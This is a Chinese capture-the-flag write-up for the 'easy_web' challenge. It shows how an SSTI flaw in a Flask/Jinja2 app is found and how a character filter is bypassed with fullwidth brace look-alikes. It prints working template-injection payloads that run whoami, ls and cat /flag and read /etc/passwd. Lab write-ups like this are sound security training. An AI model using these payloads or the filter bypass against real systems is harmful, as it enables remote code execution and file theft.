攻防世界——easy_web

打开网站后发现有一个输入框

随便写点东西进去尝试xss注入

发现能回显输入的信息但是在代码中被隐藏了

尝试用dirsearch扫描

什么发现也没有

写点东西抓包看看能抓到什么

发现是python的后端

想到这里应该用的是flask框架,注入点在str

尝试SSTI模板注入

Flask是一个很常用的python框架 ,但在其中有SSTI漏洞。

当用户输入****{{7*7}}****时,{{}}里面的语句会被执行,即返回49。

由包中的信息可知,注入点在str

写入{{7*7}}测试一下

发现被过滤了

fuzz测试看看过滤了什么

发现过滤了所有的单字符,即 ascii中 33-127的所有字符(特殊符号,字母大小写,数字)

服务器对所有危险字符(触发过滤规则的字符)返回统一的 "过滤响应页面",该对于这个靶机,HTML 长度固定为 198;而合法字符触发正常渲染,返回长度为 小于198的完整页面

对被过滤的字符我们可以进行替换绕过

{ -> ︷/﹛

} -> ︸/﹜

' -> '

, -> ,

用︷ ︸替换{}再测试一遍

输入payload

︷︷7*7︸︸

发现成功注入

jinjia2的SSIT方式

命令执行

{% for c in [].class.base.subclasses() %}

{% if c.name=='catch_warnings' %}

主体

{{ c.init.globals['builtins'].eval("import('os').popen('whoami').read()") }}

{% endif %}

{% endfor %}

文件查询

{% for c in [].class.base.subclasses() %}{% if c.name=='catch_warnings' %}

主体

{{ c.init.globals['builtins'].open('/etc/passwd','r').read() }}

{% endif %}{% endfor %}

构造替换好的payload,查看当前目录下的文件(ls)

python 复制代码
{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls').read()") }}
-->
︷︷a.__init__.__globals__.__builtins__.eval("__import__('os').popen('ls').read()")︸︸

__globals__使用方式是 函数名.globals,返回一个当前空间下能使用的模块,方法和变量的字典。

sys.modules是一个全局字典。

popen('ls').read()为执行ls命令

发现没什么值得注意的

查看根目录(ls /)

python 复制代码
︷︷a.__init__.__globals__.__builtins__.eval("__import__('os').popen('ls /').read()")︸︸

发现flag文件

在根目录下抓取flag(cat /flag)

python 复制代码
︷︷a.__init__.__globals__.__builtins__.eval("__import__('os').popen('cat /flag').read()")︸︸

成功找到flag

flag{8f604f91-c36a-4413-bdaf-e786ffbfda61}

相关推荐
用户962377954481 天前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机2 天前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机2 天前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954482 天前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star2 天前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户962377954482 天前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
曲幽2 天前
FastAPI分布式系统实战:拆解分布式系统中常见问题及解决方案
redis·python·fastapi·web·httpx·lock·asyncio
曲幽3 天前
FastAPI压力测试实战:Locust模拟真实用户并发及优化建议
python·fastapi·web·locust·asyncio·test·uvicorn·workers
cipher3 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
曲幽3 天前
FastAPI实战:打造本地文生图接口,ollama+diffusers让AI绘画更听话
python·fastapi·web·cors·diffusers·lcm·ollama·dreamshaper8·txt2img